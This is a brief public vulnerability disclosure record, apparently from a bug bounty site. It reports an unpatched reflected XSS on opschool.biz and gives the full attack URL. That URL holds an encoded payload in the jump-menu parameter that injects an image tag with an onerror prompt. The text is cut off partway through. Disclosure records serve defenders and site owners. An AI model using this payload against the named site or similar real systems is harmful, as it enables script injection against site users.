opschool.biz XSS vulnerability

Vulnerable URL: http://opschool.biz/plogger//index.php?jump-menu=%20%22%3E%3Cmarquee%3E%3Cimg%20src=x%20onerror=prompt/OPENBUGBOUNTY/%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 07.12.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa...